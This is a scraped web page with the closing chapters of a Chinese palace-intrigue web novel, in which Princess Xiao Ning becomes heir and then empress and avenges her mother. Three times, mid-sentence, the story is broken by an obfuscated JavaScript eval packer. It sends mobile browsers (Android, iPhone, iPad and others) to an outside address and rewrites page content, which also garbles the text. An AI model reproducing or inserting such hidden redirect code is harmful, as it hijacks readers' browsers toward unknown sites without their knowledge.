;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147095|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是后来,萧柠才发现自己多虑了。 魏美人虽然悲伤,但从来没有寻死的行为。她只是静静地在自己的宫中哀悼着二皇子,不与人来往,也不出门。 萧柠忽然发现,其实这个默默无闻的魏美人,是一个非常坚韧的人。 皇帝的忽视,没有让她伤心、癫狂;其他妃嫔的欺负,没有让她自暴自弃或是黑化;就连现在,唯一的儿子死了,也没有让她彻底绝望。 很多人都以为她会自尽,可她偏偏没有。 有人讥笑她,有人讽刺她,有人认为她没有心肝。 可是,不论别人怎么评价她,她都不在意,只是默默地守住自己的一番天地。 皇帝因为二皇子的死,对魏美人心怀愧疚,封她为贤妃。 魏贤妃淡淡地接过圣旨,没有去皇帝面前谢恩。 有些妃嫔之前轻蔑她,现在又想巴结她,带了礼物上门拜访,可她通通不见。 只有偶尔几次,她会去拜访温贵妃,但也只是说几句话就离开。 —————— 皇帝让萧柠在宫中住了一个多月,大臣们开始有微词。 有些大臣进言,说大公主现在是青州刺史,应该回青州处理政务。如果皇帝想留她在身边,就免去她的官职,或者任命她为京官。否则,不伦不类的。 皇帝觉得有理,就任命萧柠为中书侍郎,平时随众官员一起上朝,下朝后就回到后宫居住,方便皇帝随时召见。 同时,增加萧柠的食邑至万户,允许萧柠开牙建府,待遇与诸侯王等同。 中书侍郎为正三品,萧柠的品级又升了,而且成为了实权京官,可以称得上是位高权重了。 皇帝有时跟萧柠讨论国家大事,有时讨论后宫、家庭琐事,几乎无话不谈。 而萧柠在朝政中多有不俗见解,皇帝也采纳了很多她的意见。 渐渐的,有一些官员心怀不满,上奏折说皇帝对萧柠恩遇太过,有违常理,请求降低大公主的待遇,与其他公主等同。 皇帝没有理会这些声音。 有人开始传言,说皇帝有意立萧柠为皇太女。当然,这些话没有传到皇帝面前。 后来,有人在四皇子生母鲁昭仪的宫里发现了巫蛊娃娃,上面写了大公主萧柠的生辰八字。 皇帝得知后大怒,将鲁昭仪打入冷宫。四皇子才十岁,交由五皇子的生母齐充容抚养。 四皇子到了齐充容那里才三天,就坠楼而亡。 虽然齐充容辩解说此事跟她无关,但皇帝不信。 毕竟前三位皇子都死了,四皇子再一死,五皇子就成了最大的皇子了。 皇帝经历了太多变故,已经变得疑神疑鬼。再加上所有证据都指向齐充容,齐充容被迫自尽。 皇帝不敢再将五皇子交给其他妃嫔抚养,就带到养心殿,自己亲自照顾。 可是,五皇子因生母之死,记恨皇帝,说自己的母亲是冤枉的,皇帝却不分青红皂白逼死了她。 皇帝大怒,责骂了五皇子几句。 五皇子本就体弱,又因为生母齐充容之死,悲伤过度,再加上被皇上一番责骂,受了惊吓,情志失调,发起了高烧。 高烧五日不退,五皇子撒手人寰。 153. 储位(修) 皇帝悲痛不已,头发已经花白。 有时候,他没精力早朝,就让萧柠主持早朝,记录下重大事项,能解决的解决,解决不了的再汇报给他。 萧柠的威望日重。 由于她聪慧灵巧,饱读诗书,关怀百姓,又有丰富的从政经验,大部分的事务她都处理得明断公允,合情合理,百官们也越来越佩服她。 这天,郑淑妃来到皇帝的寝宫,对皇帝道:“皇上,您连日来身体不好,不如去郊外的问心寺走走,散散心,顺便锻炼一下身体,还可以给几位亡故的皇子做法事,超度他们,一举数得。您觉得呢?” 皇帝道:“也好。问心寺是皇家寺庙,朕也好久没去了。该去捐点香火,求佛祖保佑咱们的六皇子平安健康长大。” “有皇上庇护,六皇子一定会健康成长的。” “真的吗?” 连丧五子的皇帝,已经对自己失去了信心。 郑淑妃安慰道:“当然是真的,皇上要好好保重身体,您还要看着六皇子娶妻生子呢。” 皇帝笑道:“等小六娶妻生子了,朕不知道会老成什么样。” “皇上可不老。皇上,您若要去问心寺,嫔妾想一起去。嫔妾之前为几位夭折的皇子抄了经书,想拿到问心寺去。” 皇帝看了看她的肚子,担忧道:“你已怀孕六个月,恐怕不是很方便吧?万一有所闪失……” “皇上若是担心,嫔妾就待在山脚,不上山就好了。在山脚的平地逛逛,也能散散心。自从怀上这个孩子,嫔妾就总觉得自己宫里太小了,不够逛的。” 皇帝便同意了带郑淑妃一起出游。 他现在无比期盼郑淑妃肚子里的这个孩子,不论是男孩还是女孩。 他已经失去了太多孩子,这个即将出生的小生命,承载了他很多的期盼。 出游那日,皇帝还带上了温贵妃和萧柠。 郑淑妃看到她们,有些惊讶,但随即得体地笑了,跟温贵妃和萧柠打招呼。 萧柠问郑淑妃:“淑妃娘娘,小六呢?” “我怀着身孕,他又太调皮,这次就不带他了。” “原来如此。” 这次负责护卫皇帝的侍卫是左骁卫,左骁卫大将军郑奇树带着一百多侍卫扈从随驾。 很快,就到了山脚下。 问心寺在山顶,需要爬山。 皇帝带着萧柠、温贵妃爬山,郑淑妃怀有身孕,就留在山脚处逛逛。 皇帝嘱咐她道:“淑妃,你要注意安全,别走远。正好今日你兄长也在,让他随行保护你。” 郑淑妃道:“是。嫔妾会在山脚等陛下、温姐姐和大公主回来。” “你想吃什么,就叫下人去安排,不必等我们了。” “是。” 皇帝带着萧柠、温贵妃来到寺庙。 爬山一个时辰,众人都有些累了。 略作休息之后,萧柠就跟随皇帝、温贵妃一起礼佛。 过了一会,皇帝道:“柠儿,你和贵妃去客房休息一下,朕要跟住持大师商量一下超度几位皇子的事。” 萧柠道:“是。” 萧柠和温贵妃离开后,皇帝屏退随从,跟住持忘尘大师单独待在一间禅房里。 确认了四周没有别人后,皇帝道:“住持大师,朕心中有一件事,想请大师帮忙参详参详。” 住持合掌道:“皇上请说。” “朕有意立大公主为皇太女,只是以前从无先例,朕也没法下定决心。您是方外之人,正所谓旁观者清,您以为如何呢?” 住持道:“皇上,问心寺中有两个厨子,一个长相丑陋,但做的饭菜很好吃;一个容颜俊美,但厨艺很差。您希望哪个厨子为您做菜?” “自然是厨艺好的那个,长相美丑又有何关系?” “皇上,老衲虽在方外,但也听闻过大公主的仁政。百姓皆拥戴大公主,您又有什么好犹豫的呢?治大国若烹小鲜,大公主若为储君,天下人都能共享美味,就像那个容貌虽丑、但厨艺精湛的厨子一样。”【注释1】 “可是,她毕竟是女的……” “陛下,凡所有相,皆是虚妄。男相女相,也无非是相而已。”【注释2】 皇帝豁然,似有所悟。 ———— 山脚下。 郑淑妃对郑奇树道:“兄长,我想单独跟你说话。” 郑奇树点了点头,让下属们走开。 “娘娘,您有何事?” “兄长,如今前几位皇子都不在了,六皇子是最大的皇子,我又贵为淑妃。我想,我们郑家更进一步的机会来了。兄长意下如何?” “娘娘,立储之事,并非臣或娘娘可以干预。我们只需做好妃嫔和臣子的本分即可,至于其他的,顺其自然便好。” “顺其自然?你以为我这淑妃之位,是顺其自然便可得来的吗?时势造英雄,属于六皇子和郑氏一族的机会来了,我们自然要抓住。兄长,机不可失啊。” “郑氏如今已十分显赫,但比起之前的靳氏又如何?靳氏方盛之时,靳妃盛气凌人,靳家子弟骄纵不法,横行一时。当时,臣只是个看守皇陵的小官。 可如今时移世易,靳氏覆灭,如风中残烛。郑氏虽兴,却不能忘记靳氏因何而败。前事不忘,后事之师。 月盈则亏,水满则溢。更进一步未必是满门荣耀,很有可能一脚踩空,万劫不复。” 郑淑妃道:“兄长未免太谨慎了。如今还有谁挡在六皇子面前?” “太子、大皇子相继薨逝之时,二皇子也以为再也没人挡在他前面了。可二皇子风光不过一月,旋即事败被诛。 二皇子既伏诛,四皇子的生母鲁昭仪也以为机会来了,可很快就落得个打入冷宫的下场。 四皇子、五皇子在数月之内接连丧命,未必都是意外。权势中心犹如漩涡,人人都以为自己是弄潮儿,但一旦被卷进去,能全身而退的没有几个。 六皇子是臣的亲外甥,臣自然希望他能长保富贵,不要有危险。” “如果不去争储,他最多只能当个王爷。” “当王爷不好吗?王爷已经是人上人了。” “六皇子聪明俊秀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147096|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根骨绝佳,有太祖、太宗遗风,自然是当皇帝的料。” “依臣看,六皇子虽好,但比不上大公主。大公主年龄最长,且颇有民心和威望,也有从政经验。皇上很有可能会立她。 娘娘若是不争储位,尚且能跟她搞好关系,将来您母子二人也能善终。 若是做出跟她争储的行为,就成了她的政敌。就算她将来不伤你们性命,也必定会一直忌惮六皇子,六皇子的生活不会那么好。” “萧柠何足为惧?兄长手上有兵权,郑氏也有好几个武将。只要郑氏起兵支持六皇子,等六皇子登基,郑家就是第一世家。” “娘娘要拿郑氏全族的命去赌吗?即便郑家只有我一人,我也不赞成用如此手段扶持六皇子上位。更何况,郑家上下一百多口人,臣必须为他们考虑。” “皇上宠爱我,对我也不设防,只要我们制定好计划,出其不意,一定能成功的。” “即便能成功,臣也不赞成这么做。更何况,事情没有娘娘想的那么简单。再说,六皇子还是个孩子,他真做了皇帝,能把国家治理好吗?” “他不会治理的话,自有本宫垂帘听政,兄长可为摄政王。到时候,朝政皆出自郑氏之手。兄长难道不想过那样的日子吗?” 郑奇树摇头道:“臣为武将,只想为国尽忠,不想以权谋私。当权者要为国计民生考虑,岂能为一己私欲?娘娘并不适合垂帘听政,臣也没有当摄政王的想法。 至于六皇子,他生性柔善,雅好诗书,与世无争,让他当个闲散王爷是最好的。” 郑淑妃不甘心,道:“兄长,您真的不跟我一条心吗?” “臣是皇上的臣子,只能跟皇上、跟南萧国一条心。娘娘是臣亲妹,臣对您当然有亲情,也希望您和六皇子过得好。 但臣认为,让六皇子将来去封地生活,您跟随他出去养老,对你们母子来说是最好的结局。” “兄长既贪生怕死,我也没什么好说的。” “臣并非贪生怕死,而是理性分析。更何况,大公主也没什么不好的,她若是当了皇帝,必定善待弟弟妹妹,六皇子一生都会受其庇护。 但前提是,六皇子不能成为她的政敌。” “兄长,你为何不帮着郑氏,反而向着大公主?” “臣并非向着某一个人,只是觉得天下非一家之天下,国家非一姓之国家。古往今来多少名臣,皆因公私不分,最终身败名裂。我们为何要重蹈覆辙?” “你这都是假清高。我已经有六个月身孕,过几个月,如果再生下一名皇子,我的筹码就会更重。让我现在退出,不可能。” “首先,您未必会生下皇子。其次,即便生下了,也只是个小孩。除了能增加一点皇上心里的分量,还有什么作用?第三,没有郑氏的支持,娘娘是无法达成心中所想的。 而郑氏一心报国,不会以权谋私。所以,娘娘趁早放弃吧。” 郑淑妃无言以对,只好不再说什么。 过了一会,皇帝、萧柠等人下来了,众人一起回宫。 半个月后,皇帝立萧柠为皇太女。 154. 登基(修) 虽然反对的人很多,但支持的人也很多。 萧柠顶住压力,继续上朝从政,用政绩说话。 渐渐的,反对的声音小了下去。 几个月后,郑淑妃生下一名公主,是为八公主。 皇帝很高兴,立刻给了八公主五千户的食邑。 萧柠也送来丰厚的贺礼。 郑淑妃看着萧柠的贺礼,犹豫良久,忽然对自己说道:“罢了。” ———— 这天,萧柠像往常一样,跟皇帝讨论政务。 讨论完了之后,萧柠忽然说道:“父皇,您还记得我母妃吗?” 皇帝愣了一下,道:“顺妃……说实话,朕不太记得她的模样了……但是,朕还记得她很美,气质也很独特……” “父皇,她是被人害死的。” “被谁害死的?” “靳氏。” 皇帝沉默了一会,道:“可有证据?” “时间久远,已无其他证据。但儿臣的乳母金妈妈是人证,当年就是她目睹了我母妃被靳氏派来的杀手害死。” “只有一个人证,只怕不足为信吧?” “金妈妈不会骗我的,父皇可以召她入宫,询问细节。她都能答得上。” “不必了……柠儿,这其中应该有什么误会……靳氏已进冷宫,翻不起浪了,你……” “父皇,杀人偿命,天经地义。” “但是证据不足……” “把靳氏抓起来审问,她受刑不过,自会招认。” 皇帝却没有回答。 过了一会,皇帝才说道:“柠儿,你看在朕对你这么好的份上……朕连储君之位都给你了,你就放靳氏一马吧。” “父皇,那是我的杀母仇人。” “父皇已经老了……至少,在父皇活着的时候,别杀她。” 萧柠默然良久,接着说道:“好。” ———— 三年后,皇帝驾崩。 萧柠于含德殿即皇帝位,改元天授。 萧柠颁布的第一条政令,就是允许女子参加科举,任何人不得阻拦。 诸位皇子年满十岁者,前往封国就藩。其生母若在,生母可一同过去。 六皇子萧奕邦已经十一岁,所以要离开皇宫,前往封地渤海郡。 他的生母郑淑妃请求随行,并请求把年幼的八公主也一并带过去。 萧柠将此事交由群臣讨论,有人认为八公主才三岁,正是需要母亲的时候,不能让郑淑妃母女分离,可以让郑淑妃带走八公主。 也有人认为,郑淑妃既然舍不得八公主,就留在宫中抚养八公主,不要跟随渤海王去封地。 平南侯郑奇树说道:“陛下,臣以为,年幼的公主皇子抚养在宫中,乃是惯例;妃嫔跟随儿子就藩,也是常事。 不如就将八公主留在宫中,交由无子的太妃抚养。至于郑淑妃,就跟渤海王去封地养老,两全其美。” 萧柠有些惊讶:“但是这样一来,郑淑妃就要跟八公主分离。” “八公主是臣的外甥女,臣会照看她,郑淑妃应该可以放心。她若留在宫中,也是要跟儿子分离。但渤海王年纪渐长,由他照顾母亲更为合适。” 萧柠点头:“就依郑卿所奏。” 萧柠让郑淑妃跟六皇子一起去渤海,但八公主要留在宫中抚养。 郑淑妃十分伤心,不愿接受这样的安排。 萧柠劝说道:“这是郑将军的意思。他说他是八公主的母舅,会照看八公主,不会出差池。虽然朕也不知道郑将军为何会这样提议,但以前确实没有幼年公主出宫居住的先例。 请淑妃娘娘暂时忍耐,等以后宫中有什么大事,朕会召六皇弟回来小住,您也可以一并回来,到时候就能见到八公主了。 等八公主长大了,朕会给她安排一个渤海郡那边的夫婿,你们就能团聚了。” 郑淑妃只得说道:“谢陛下。” 萧柠不知道郑奇树为何会这样提议,但郑淑妃心里却是清楚的。 郑奇树把八公主留在萧柠身边,作为人质,郑淑妃在渤海就不敢轻举妄动。 如果郑淑妃仍有争皇位之心,就会危及八公主的性命。 郑淑妃不免觉得,自己这个兄长大公无私到了不顾亲情的地步,实在太迂腐了。她头一次见到上赶着送自己这边的人质的。 可是,她也没办法。 没过多久,郑淑妃就跟着六皇子离开了。 萧柠想着二皇子的生母魏贤妃没了孩子,也许会希望养个孩子,就询问魏贤妃是否愿意抚养八公主。 魏贤妃说愿意,萧柠就把八公主交给了她。 现在魏贤妃是太妃了。有了八公主,她脸上的笑容多了,头上的白发也少了。 萧柠追封自己的生母章氏为顺成太后,并封温贵妃为温慈太后。 后宫事务,暂时由温慈太后打理。 冷宫里,靳氏在唱歌。 她太寂寞了,经常唱歌打发时间。 这时,她听见一个熟悉的声音:“靳娘娘真是歌喉婉转,难怪把父皇迷得五迷三道的。” 靳氏转头,看见了萧柠。 她有些防备,道:“你怎么会来?” “我来,是要问你一件旧事。我的母亲章霜质,是你杀的吧?” “那又如何?你有证据吗?就算你有证据,皇上会信你吗?我告诉你,就算本宫做再多坏事,皇上都舍不得杀我。你根本不了解皇上对我的感情有多深。 别看我现在在冷宫,我总有出去的一天。” “你虽然虐待其他妃嫔,但很少杀人。你为什么单单要杀死我的母亲?” “因为她太美了,又很有才情,当时,皇上已经有专宠她的趋势。我怕她有一天会取代我。她当时怀孕了,我不得不先下手为强。现在想想,早知道她怀的是个女儿,我就不用费这番心思了。” 萧柠懒得跟她废话,一挥手,道:“来人,赐毒酒。” 宫人捧着毒酒过来,靳氏有些惊恐,道:“你干什么!你敢杀我?皇上呢?我要见皇上!” 萧柠走到她身边,从容不迫地看着她:“你要见皇上?我就是皇上。” “什么?你……不可能……” 靳氏还想说什么,但宫人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147097|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把毒酒灌进了她嘴里,她再也说不出话了。 萧柠松了一口气,往外走去。 这时,她发现萧梦苒站在门口。 萧梦苒眼中含泪,恨恨地盯着她:“你杀了我母妃?” 萧柠冷冷道:“是她先杀我母亲的。” “你是不是也要杀我?” “只要你不犯死罪,我不会杀你。” “你已当了皇帝,我有没有罪,不过是你一句话的事。” “朕不是暴君,不会构陷别人。” “我知道我母妃罪有应得,我不会怪你。但我也没法原谅你。我想,我们最好的结局,就是永不相见。我会跟裴靖去封地,不再回来。” “好。” 萧柠还有一些公务要处理,便朝御书房的方向走去。 萧梦苒忽然大声喊她:“萧柠!” 萧柠旁边的女官喝道:“不许直呼陛下的名字。” 萧柠道:“无妨。” 她看向萧梦苒,道:“还有何事?” 萧梦苒露出了不甘的神情:“虽然你当了皇帝,但裴靖是我夫婿,不是你的。最后还是我赢了。” 萧柠很惊讶,困惑地看了萧梦苒一眼。 她觉得自己跟萧梦苒似乎不是一个物种。 过了一会,她说道:“没错,你赢了。” 说完,萧柠就走了,没有回头看萧梦苒的表情。 几个月后,庆安县主萧玉蟾考中了秀才,而且名次不错,她正在准备参加下一次的举人考试。 同时,民间和官员家都有一些女孩考中了童生,下一次就能考秀才了。 女孩们已经开始冒头了,以后会越来越好。 萧柠亲自取名的女孩任远志,再次出海回来了,来京城朝见萧柠。 这一次,她带回了更多新鲜的西洋货,萧柠打算一一推广。 萧柠让人造了一艘巨舰,专门用于海外通商。她任命任远志为通商副使,指导其他船上人员关于航海、海上生存的知识。 表妹唐绿漪的字写得越来越好了,已经隐隐有名家风范。 许多京中贵妇都把女儿送到唐绿漪这里来,让她们跟着唐绿漪练字。 萧柠封唐绿漪为弘文馆校书郎,掌管校对典籍之事,有空时就带带学生。 这份工作很适合她,她也乐在其中,非常投入。 唐绿漪本来的爵位是乡君,这是宗室女封爵的最末一级。因为她母亲是县主,她只能获得乡君的封爵。 萧柠认为她辅佐自己有功,破格封她为阳新县主。 庆安县主萧玉蟾晋封为庆安公主,萧柠将庆安县周边的小县都合并到庆安,合称庆安郡,扩大萧玉蟾食邑的范围。 ———— 系统对萧柠道:“萧柠,恭喜你成为女帝!你的积分还剩下34万多,想好怎么用了吗?” 萧柠问道:“积分能用在国家身上吗?” “可以。” “那就给南萧国使用,希望南萧国风调雨顺,国泰民安。” “好的,女帝陛下,你的盛世正在开启。” (全文完,感谢陪伴)